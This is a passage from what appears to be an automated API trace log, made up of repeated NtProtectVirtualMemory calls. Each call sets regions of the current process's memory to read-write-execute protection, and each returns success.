ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.873] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.883] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.893] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.903] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.920] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.933] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.943] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.962] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.983] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.993] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.108] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.151] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.196] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.207] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.217] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.247] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.259] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.301] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.346] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.399] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.473] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.503] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.526] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.579] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.708] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.729] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.746] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.767] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.777] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.865] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.085] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.095] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.172] 